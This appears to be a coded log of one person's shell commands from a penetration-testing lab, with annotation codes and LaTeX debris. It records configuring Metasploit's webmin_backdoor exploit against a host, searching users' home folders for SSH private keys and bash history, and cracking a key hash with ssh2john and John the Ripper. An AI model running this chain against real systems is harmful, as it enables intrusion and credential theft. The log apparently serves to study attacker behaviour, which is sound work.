ls A10 $cd \, \dots \, U$ $cd \mathrel{..} U$ ls A10 cd root U ls A10 ssh 172.18.1.5 -p 10000 A16 ssh 172.18.1.5 A16 metasploit U metasploit U service postgresql start Umsfsplayload U $msfplayload\ U$ msf U $msf console \ M2$ $cd \mathrel{..} U$ cd home U $cd \ root \ U$ cd debian U $cd\ U$ $cd \mathrel{\ldotp\ldotp} U$ exit U msfconsole V2 $cd \mathrel{\ldotp\ldotp} U$ cd root U info U help search A3 search 1.920 A3 use exploit/unix/webapp/webmin_backdoor M8 show options M5 set vhost A6 set lhost 10.1.135.83 A6 set lhost 172.18.1.5 A6 set lport 10 000 A6 set lport 10000 A6 exploit V8 set rhost 172.18.1.5 A6 ifconfig U set lhost 10.1.135.83 A6 exploit V8 set rport 10000 A6 set lhost A6 exploit V8 ls A10 ls A10 cd .. U exit U ls A10 ls A10 $mfsconsole \ U$ ls A10 msfconsole V2 show options V5 set rhost 172.18.1.5 A6 set rport A6 exit U ls A10 msfconsole V2 set rport 10000 A6 set shost A6 set rhost A6 set rhost 172.18.1.5 A6 set lhost 10.1.135.83 A6 show options V5 use 1.920 A4 set lhost A6 set rhost A6 set rhost 172.18.1.5 A6 set rport 10000 A6 ls A10 cd /root U ls A10 ls A10 cd ..ls A10 $cd \mathrel{\ldotp\ldotp} U$ ls A10 home U $cd\ U$ ls A10 $cd \mathrel{..} U$ ls A10 cd home U ls A10 cd eve U ls A10 cd .. U ls A10 cd U ls A10 ls A10 $cd \mathrel{..} U$ ls A10 cd home U ls A10 cd alice U ls A10 $cd \mathrel{..} U$ ls A10 cd bob U ls A10 $cd\ U$ l U ls A10 c d.. U locate A1 A9 A10 A11 A12 A17 find A10 ./.bash_historysa U ./.bash_history U sudo ./.bash_history U id_rsa U ssh2john.py A14 A16 find ssh2john.py A10 A14 A16 ls A10 $cd \mathrel{\ldotp\ldotp} U$ ls A10 cd home U ls A10 cd eve U ls A10 id U id rsa eve U ls A10 ls A10 lsa A10 ls a A10 la U ls a A10 list all U list U lsa A10 ssh eve@10.1.17.4 M16 ls A10 $cd \mathrel{..} U$ $cd \mathrel{\ldotp\ldotp} U$ ls A10 john hash A14 john bash A14

/home/eve/.ssh# ssh -l id_rsa eve@172.17.5.4 V16

ls A10

 $cd \mathrel{\ldotp\ldotp} U$

ls A10

cd etc U